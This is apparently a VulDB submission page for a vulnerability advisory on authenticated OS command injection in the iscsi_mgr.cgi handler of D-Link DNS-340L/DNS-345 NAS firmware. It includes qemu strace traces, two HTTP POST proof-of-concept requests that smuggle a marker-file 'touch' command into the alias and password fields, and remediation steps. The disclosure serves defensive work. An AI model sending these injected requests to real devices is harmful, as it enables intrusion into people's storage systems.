提出 #894211: D-Link DNS-340L/DNS-345 ShareCenter confirmed ShareCenter firmware builds OS Command Injection

D-Link DNS-340L/DNS-345 iscsi_mgr.cgi OS command injection

## 2. Vulnerability Summary

- **Internal Tracking ID:** DLINK-CMD-006
- **Vulnerability Class:** CWE-78
- **Vulnerability Type:** OS Command Injection
- **Severity:** 8.8 (High)
- **CVSS 3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **Attack Prerequisites:** Authenticated web-management access required
- **Verification Status:** CONFIRMED
- **Verification Evidence:** runtime/QEMU marker evidence + duplicate checks in D-Link evidence package

## 3. Affected Vendor / Product

- **Vendor:** D-Link
- **Product:** DNS-340L/DNS-345 ShareCenter
- **Affected Version / Firmware:** confirmed ShareCenter firmware builds
- **Affected Component:** cgi/backup_mgr/iscsi_mgr.cgi
- **Architecture:** ARM EABI5 little-endian

## 4. Description

The `iscsi_mgr.cgi` CGI handler implements iSCSI target management. Multiple authenticated iSCSI management branches concatenate HTTP POST parameters into shell command strings passed to `iscsictl`, including:

```text
iscsictl --chk_target -n <alias> >/dev/null
iscsictl --add_target_lun -n <alias> -V '<volume_location>' -s <size> -p 1 -c <security> -U <username> -P <password> >/dev/null
iscsictl --add_target_lun -n <alias> -F '<img_file>' -c <security> -U <username> -P <password> >/dev/null
iscsictl --set_auth -n <alias> -c 1 -U <username> -P <password> >/dev/null
iscsictl --del_target_lun -n <alias> -R >/dev/null
iscsictl --target_state -e 1 -n <alias> >/dev/null
```

Because `alias`, `username`, `password`, and image-file path values are not shell-metacharacter neutralized before being placed into these command lines, an authenticated web attacker can inject shell metacharacters and execute arbitrary commands as the CGI process user.

The vulnerable paths are reachable from the authenticated iSCSI management UI. `iscsi.js` sends POST requests to `/cgi-bin/iscsi_mgr.cgi` for `cmd=cgi_add_iscsi`, `cmd=cgi_modify_iscsi`, `cmd=cgi_del_iscsi`, `cmd=cgi_enable_iscsi`, and `cmd=cgi_disable_iscsi`.

## 5. Technical Details

Runtime summary:

| Firmware | Binary SHA1 | Marker hits | Controlled shell traces |
| ---------------------- | ---------------------------------------- | ----------- | ----------------------- |
| DNS-340L 1.01B04 | fd166f0915a7fd5a6a75a50f2348636a9b7df251 | 10 | 10 |
| DNS-345 1.03B06 | 8a1f1762b019bc708dae850337512678f48902cf | 10 | 10 |
| DNS-345 1.04.B02 | 8a1f1762b019bc708dae850337512678f48902cf | 10 | 10 |
| DNS-345 1.05b04 HOTFIX | 8a1f1762b019bc708dae850337512678f48902cf | 10 | 10 |

Representative qemu strace evidence:

DNS-340L 1.01B04 `cgi_add_iscsi` alias:

```text
execve("/bin/sh",{"sh","-c","iscsictl --chk_target -n target;touch /tmp/FIRMREC_DNS340L_101B04_ISCSI_MGR_20260526_add_alias.hit;# >/dev/null",NULL})
```

DNS-345 1.03B06 `cgi_modify_iscsi` password:

```text
execve("/bin/sh",{"sh","-c","iscsictl --set_auth -n target -c 1 -U user -P FirmRecPassword12;touch /tmp/FIRMREC_DNS345_103B06_ISCSI_MGR_20260526_mod_pwd.hit;# >/dev/null",NULL})
```

The verifier created marker files in the temporary qemu sysroots for add, modify, delete, enable, and disable iSCSI branches across all four tested firmware images.

## 6. Proof of Concept / Reproduction

Low-impact marker examples:

```http
POST /cgi-bin/iscsi_mgr.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=cgi_add_iscsi&alias=target;touch /tmp/DLINK_CMD_006_alias.hit;#&volume_location=HD_a2&size=1&security=0&username=user&password=FirmRecPassword12&img_file=
```

```http
POST /cgi-bin/iscsi_mgr.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=cgi_modify_iscsi&alias=target&security=1&username=user&password=FirmRecPassword12;touch /tmp/DLINK_CMD_006_pwd.hit;#&size=2
```

## 7. Security Impact

Successful exploitation allows authenticated remote command execution on the NAS appliance. The attacker can run arbitrary shell commands, alter iSCSI target configuration, access stored data, or disrupt storage services.

This report is limited to parameter-to-`iscsictl` command-injection paths confirmed with marker files and qemu strace. The iSNS server IP branch was also tested, but it did not produce marker files or unescaped controlled command lines and is not claimed here.

## 8. Remediation Recommendation

1. Replace shell-based command construction with argument-vector APIs such as `execve()` that do not invoke `/bin/sh`.
2. Treat iSCSI target names, CHAP usernames/passwords, and image paths as structured values, not shell fragments.
3. Enforce strict server-side allowlists for target aliases, CHAP fields, sizes, and image-file paths.
4. Reject shell metacharacters, command substitutions, quoting characters, separators, and malformed path values before iSCSI management actions.
5. Add server-side authorization and CSRF protections for iSCSI management actions.

• ソース: ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/DLINK-CMD-006-vulndb.md
• ユーザー: ST4R0001 (UID 99565)
• 送信: 2026年07月17日 18:33 (1 月 ago)
• モデレーション: 2026年08月30日 19:36 (1 month later)
• ステータス: 承諾済み
• VulDBエントリ: 397180 [D-Link DNS-340L/DNS-345 迄 20260717 /cgi-bin/iscsi_mgr.cgi alias/username/password/volume_location 特権昇格]
• ポイント: 20